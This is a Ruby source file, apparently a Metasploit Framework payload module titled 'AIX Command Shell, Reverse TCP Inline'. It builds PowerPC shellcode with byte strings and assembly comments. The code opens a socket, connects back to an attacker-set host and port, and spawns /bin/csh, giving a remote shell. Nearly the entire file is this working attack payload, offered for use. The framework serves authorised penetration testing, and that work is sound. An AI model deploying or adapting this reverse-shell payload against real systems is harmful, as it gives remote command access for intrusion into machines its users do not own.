101 lines
4.3 KiB
Ruby
101 lines
4.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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CachedSize = 204
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include Msf::Payload::Single
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include Msf::Payload::Aix
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'AIX Command Shell, Reverse TCP Inline',
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'Description' => 'Connect back to attacker and spawn a command shell',
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'Author' => 'Ramon de C Valle',
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'License' => MSF_LICENSE,
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'Platform' => 'aix',
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'Arch' => ARCH_PPC,
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'Handler' => Msf::Handler::ReverseTcp,
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'Session' => Msf::Sessions::CommandShellUnix,
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'Payload' =>
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{
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'Offsets' =>
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{
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'LHOST' => [ 32, 'ADDR' ],
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'LPORT' => [ 30, 'n' ],
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},
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}
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))
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end
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def generate(*args)
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super(*args)
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payload =
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"\x7c\xa5\x2a\x79" + # xor. r5,r5,r5 #
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"\x40\x82\xff\xfd" + # bnel <cntsockcode> #
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"\x7f\xc8\x02\xa6" + # mflr r30 #
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"\x3b\xde\x01\xff" + # cal r30,511(r30) #
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"\x3b\xde\xfe\x25" + # cal r30,-475(r30) #
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"\x7f\xc9\x03\xa6" + # mtctr r30 #
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"\x4e\x80\x04\x20" + # bctr #
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"\xff\x02\x11\x5c" + # .long 0xff02115c #
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"\x7f\x00\x00\x01" + # .long 0x7f000001 #
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"\x4c\xc6\x33\x42" + # crorc 6,6,6 #
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"\x44\xff\xff\x02" + # svca 0 #
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"\x3b\xde\xff\xf8" + # cal r30,-8(r30) #
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"\x3b\xa0\x07\xff" + # lil r29,2047 #
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"\x38\x9d\xf8\x02" + # cal r4,-2046(r29) #
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"\x38\x7d\xf8\x03" + # cal r3,-2045(r29) #
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@cal_socket +
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"\x7f\xc9\x03\xa6" + # mtctr r30 #
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"\x4e\x80\x04\x21" + # bctrl #
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"\x7c\x7c\x1b\x78" + # mr r28,r3 #
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"\x38\xbd\xf8\x11" + # cal r5,-2031(r29) #
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"\x38\x9e\xff\xf8" + # cal r4,-8(r30) #
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@cal_connect +
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"\x7f\xc9\x03\xa6" + # mtctr r30 #
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"\x4e\x80\x04\x21" + # bctrl #
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"\x3b\x7d\xf8\x03" + # cal r27,-2045(r29) #
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"\x7f\x63\xdb\x78" + # mr r3,r27 #
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@cal_close +
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"\x7f\xc9\x03\xa6" + # mtctr r30 #
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"\x4e\x80\x04\x21" + # bctrl #
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"\x7f\x65\xdb\x78" + # mr r5,r27 #
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"\x7c\x84\x22\x78" + # xor r4,r4,r4 #
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"\x7f\x83\xe3\x78" + # mr r3,r28 #
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@cal_kfcntl +
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"\x7f\xc9\x03\xa6" + # mtctr r30 #
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"\x4e\x80\x04\x21" + # bctrl #
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"\x37\x7b\xff\xff" + # ai. r27,r27,-1 #
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"\x40\x80\xff\xd4" + # bge <cntsockcode+100> #
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"\x7c\xa5\x2a\x79" + # xor. r5,r5,r5 #
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"\x40\x82\xff\xfd" + # bnel <cntsockcode+148> #
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"\x7f\x08\x02\xa6" + # mflr r24 #
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"\x3b\x18\x01\xff" + # cal r24,511(r24) #
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"\x38\x78\xfe\x29" + # cal r3,-471(r24) #
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"\x98\xb8\xfe\x31" + # stb r5,-463(r24) #
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"\x94\xa1\xff\xfc" + # stu r5,-4(r1) #
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"\x94\x61\xff\xfc" + # stu r3,-4(r1) #
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"\x7c\x24\x0b\x78" + # mr r4,r1 #
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@cal_execve +
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"\x7f\xc9\x03\xa6" + # mtctr r30 #
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"\x4e\x80\x04\x21" + # bctrl #
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"/bin/csh"
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# If the payload is generated and there are offsets to substitute,
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# do that now.
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if (payload and offsets)
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substitute_vars(payload, offsets)
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end
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payload
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end
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end
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